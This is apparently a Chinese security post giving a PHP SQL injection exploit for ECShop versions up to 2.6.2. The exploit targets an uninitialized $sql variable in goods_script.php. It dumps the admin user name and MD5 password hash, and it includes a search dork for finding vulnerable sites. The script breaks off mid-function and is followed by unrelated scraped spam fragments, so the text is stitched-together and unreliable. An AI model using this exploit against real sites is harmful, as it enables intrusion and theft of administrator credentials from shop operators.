影响2.5.x和2.6.x,其他版本未测试
goods_script.php
44行:
复制代码代码如下:
if (empty($_GET['type']))
{
...
}
elseif ($_GET['type'] == 'collection')
{
...
}
$sql .= " LIMIT " . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);
$res = $db->query($sql);
$sql没有初始化,很明显的一个漏洞:)
EXP:
复制代码代码如下:
#!/usr/bin/php
<?php
print_r('
+---------------------------------------------------------------------------+
ECShop<= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: "Powered by ECShop"
+---------------------------------------------------------------------------+
');
/**
* works with register_globals = On
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to ecshop
Example:
php '.$argv[0].' localhost /ecshop/
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$resp = send();
preg_match('#href="([\S]+):([a-z0-9]{32})"#', $resp, $hash);
if ($hash)
exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
else
exit("Exploit Failed!\n");
function send()
{
global $host, $path;
$cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';
$data = "POST ".$path."goods_script.php?type=".time()." HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$data .= "Host: $host\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n";
$data .= "Connection: Close\r\n\r\n";
$data .= $cmd;
怎样才能把聊天记录(有人恢复过微信聊天记录吗)李纨年轻守寡,却晚年韶华,一生的苦仿佛都在年轻守寡后用尽了。所以,尽管贾家抄家后家破人亡,李纨到了晚年,仍旧凭借儿子贾兰金榜题名后爵禄高登而安享富贵。那么...
美国西海岸旧金山湾区某一神密的地址,位于着一间从没公布曝出的顶尖试验室。 在这个智能机器人四处穿行的地区,你尽能够憧憬未来。 谷歌公司正为一百个最异想天开的艺术创意而勤奋,务求...
Domain3.6 NTscan字典 saminside System.out.println(rHello.sayHello("RickGray")); 12 ①...
大家不会太难察觉自己人体上一些小小更改,例如我们自己的牙,原来是很紧实的,但是渐渐地的察觉自己的牙齿缝隙越来越大,造成 常常塞牙缝,你的牙齿缝隙究竟为什么愈来愈变大?牙齿缝隙大怎么办呢?下边我们一...
写本文的主要目的在于希望能将理论和实际产品设计结合得更加紧密,帮助大家抓住设计的重点,对于比较深入的统计学原理不会过多涉及,仅用于辅助理解系统,如有深入学习兴趣的读者可自行研究。 不知不觉拖更了好久...
孙敬媛是巨亿天华董事长吗?孙敬媛具体资料谁有? 姓 名:孙敬媛(人鱼公主)艺 名:①孙敬媛(增补说明:孙敬媛的妈妈说,敬:尊重,有规矩地看待:尊敬 致敬,恭顺(zh恘g )。敬爱。敬仰。敬服。...